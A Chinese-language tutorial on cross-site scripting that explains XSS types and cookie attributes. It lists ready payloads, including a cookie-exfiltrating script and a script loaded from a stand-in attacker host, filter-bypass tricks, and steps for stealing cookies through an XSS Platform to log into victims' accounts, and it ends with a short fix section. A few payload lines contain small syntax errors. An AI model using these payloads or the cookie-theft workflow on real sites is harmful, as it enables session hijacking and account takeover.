1.簡介
XSS又叫CSS(cross site script),即跨站腳本攻擊,是常見的Web應用程序安全漏洞之一。
XSS是指惡意攻擊者利用網站沒有對用戶提交數據進行轉義處理或者過濾不足的缺點,進而添加一些代碼,嵌入到web頁面中去。使別的用戶訪問都會執行相應的嵌入代碼。從而盜取用戶資料、利用用戶身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。
2.原理解析
XSS攻擊是在網頁中嵌入客戶端惡意腳本代碼,這些惡意代碼一般是使用JavaScript語言編寫的。JavaScript可以用來獲取用戶的Cookie、改變網頁內容、URL跳轉,攻擊者可以通過向Web頁面注入JavaScript代碼,來實現這些目的。
3.XSS類型
3.1 反射型XSS
反射型XSS也被稱為非持久性XSS。當用戶訪問一個帶有XSS代碼的URL請求時,服務器端接受數據后處理,然后把帶有XSS代碼的數據發送到瀏覽器,瀏覽器解析這段帶有XSS代碼的數據后,最終造成XSS漏洞。
3.2 存儲型XSS
存儲型XSS又稱持久性跨站點腳本,他會把用戶輸入的數據“存儲”在服務器端。這種XSS具有很強的穩定性。
一個常見的場景是,攻擊者寫下一個包含有惡意JavaScript代碼的博客文章,文章發表后,所有訪問該博客文章的用戶,都會在他們的瀏覽器中執行這段惡意的JavaScript代碼。
3.3 DOM Based XSS
DOM,即文檔對象模型,DOM通常用於代表在HTML、XHTML和XML中的對象。使用DOM可以允許程序和腳本動態地訪問和更新文檔的內容、結構和樣式。
通過javaScript可以重構整個HTML頁面,而要重構頁面或者頁面中的某個對象,JavaScript就需要知道HTML文檔中所有元素”位置“。而DOM為文檔提供了結構化表示,並定義了如何通過腳本來訪問文檔內部結構。根據DOM規定,HTML文檔中的每個成分都是一個個節點。
DOM的規定如下:
整個文檔是一個文檔節點.;
每個HTML標簽是一個元素節點;
包含在HTML元素中的文本是文本節點;
每一個HTML屬性是一個屬性節點;
節點與節點之間有等級關系。
HTML的標簽都是一個個節點,而這些節點組成了DOM的整體結構:節點樹。
可以發現,DOM本身就代表文檔的意思,而基於DOM型的XSS是不需要與服務器交互的,他只發生在客戶端處理數據階段。
4.XSS利用
4.1 XSS基礎漏洞利用
1. 漏洞利用
盜取cookie:
<script>alert(document.cookie)</script>
構造頁面跳轉:
<script>location='https"//www.hacker.com'</script>
構造獲取cookie並發送到遠程主機
<script>document.location='http://127.0.0.1/test/cookie.phpcookie='+document.cookie</script>
2.常見注入點
輸入框
留言板
URL中可傳參的變量
3.常用PAYLOAD
Script標簽:
<script>alert(/1/)</script>
<script>prompt(1)</script>
<script>confirm(1)</script>
<script src="http://attacker.org/malicious.js"></script>
<script src=data:text/javascript,alert(1)></script>
<script>setTimeout(alert(1),0)</script>
Img標簽:
<img src=x onerror=alert(1)>
<img src=x onerror=prompt(1);>
<img src=javascript:alert('1')>
a標簽
<a href=”javascript:alert(1)”>點擊觸發</a>
<a href="http://www.hacker.com">點擊觸發</a>
4. 常見繞過方法
大小寫繞過(<SCRIPT>)
雙寫繞過(<SCr<scRiPT>ipt>)
關鍵字HTML編碼繞過
任意位置插入null字符(<im[%00]g onerror=alert(xss) src=a>)
JavaScript轉義(<script>eval(‘a\154ert(1)’)</script>)
4.2 關於Cookie
1. Cookie簡介
首先要了解什么是Cookie,Cookie是能夠讓網站服務器把少量文本數據存儲到客戶端硬盤、內存,或是從客戶端的硬盤、內存讀取數據的一種技術。它的主要作用是標識用戶、維持會話。
Cookie按照在客戶端存儲的位置,可以分為內存Cookie和硬盤Cookie,內存Cookie由瀏覽器維護,保存在內存中,瀏覽器關閉后后就消失。硬盤Cookie保存在硬盤中,有一個過期時間,當超過這個時間或用戶清理了硬盤,硬盤Cookie被刪除。所以,也叫他們持久Cookie和非持久Cookie。
2. Cookie格式
Cookie由變量名(key)和值(value)組成,其屬性里既有標准的Cookie變量,也有用戶自己創建的變量,屬性中變量是用“變量=值”形式來保存。
Cookie格式如下:
Set-Cookie: name=value;expires=date;
domain=domain_name;path=some_path;secure;HttpOnly
Set-Cookie:HTTP響應頭,Web服務器通過此HTTP頭向客戶端發送Cookie;
name=value:這是每一個Cookie均必須有的部分。用戶可以通過name取得Cookie中存放的值(Value)。在字符串“name=value”中,不含分號、逗號和空格等字符。
expires=date:Expires變量確定了Cookie有效終止日期。該屬性值date必須以特定的格式來書寫:”星期幾,DD-MM-YY HH:MM:SS GMT“,GMT表示這是格林尼治時間。反之,不以這樣的格式來書寫,系統將無法識別。該變量可省,如果缺省,則Cookie的屬性值不會保存在用戶的硬 盤中,而僅僅保存在內存當中,Cookie將隨着瀏覽器的關閉而自動消失。
domain=domain-name:Domain變量確定了哪些Internet域中的Web服務器可讀取瀏覽器存儲的Cookie,即只有來自這個域的頁面才可以使用Cookie中的信 息。這項設置是可選的,如果缺省時,設置Cookie的屬性值為該Web服務器的域名。
path=path:Path屬性定義了Web服務器 上哪些路徑下的頁面可獲取服務器發送的Cookie。如果Path屬性的值為“/”,則Web服務器上所有的WWW資源均可讀取該Cookie。同樣該項設置是可選的,如果缺省,則Path的 屬性值為Web服務器傳給瀏覽器的資源的路徑名。借助對Domain和Path兩個變量的設置,即可有效地控制Cookie文件被訪問的范圍。
Secure:在Cookie中標記該變量,表明只有當瀏覽器和Web Server之間的通信協議為加密認證協議時,瀏覽器才向服務器提交相應的Cookie。當前這種協議只有一種,即為HTTPS。
HttpOnly:禁止JavaScript讀取
4.3 XSS 平台利用
也叫漏洞利用框架,作用上來看就是一組“JavaScript工具集合”,比如:鍵盤輸入記錄、盜取cookie、表單劫持等。
網上類似的平台很多,都是基於XSS Platform搭建的。
這里簡單介紹一下利用平台獲取Cookie
登錄XSS Platform,主界面如下:
選擇“我的項目”-->”創建“,進入創建項目向界面:
在選擇攻擊模塊時,選擇”默認模塊“,接下來XSS Platform會提供兩個選擇:
1. 無keepsession
2. keepsession
keepsession的意思是保持連接,也就是當獲取到目標網站的Cookie后,保持這個Cookie
在配置信息中給出了項目代碼,並給出了XSS利用方式,選擇合適的payload進行插入
當XSS Platform收到信息之后,就可以確定網站存在XSS跨站漏洞,並且可以拿到cookie信息,借此繞過賬號密碼登錄目標賬戶。
5. XSS修復思路
XSS跨站漏洞最終形成的原因是對輸入與輸出沒有嚴格過濾,在頁面執行JavaScript等客戶端腳本,理論上來講只要將敏感字符過濾,即可修補XSS跨站漏洞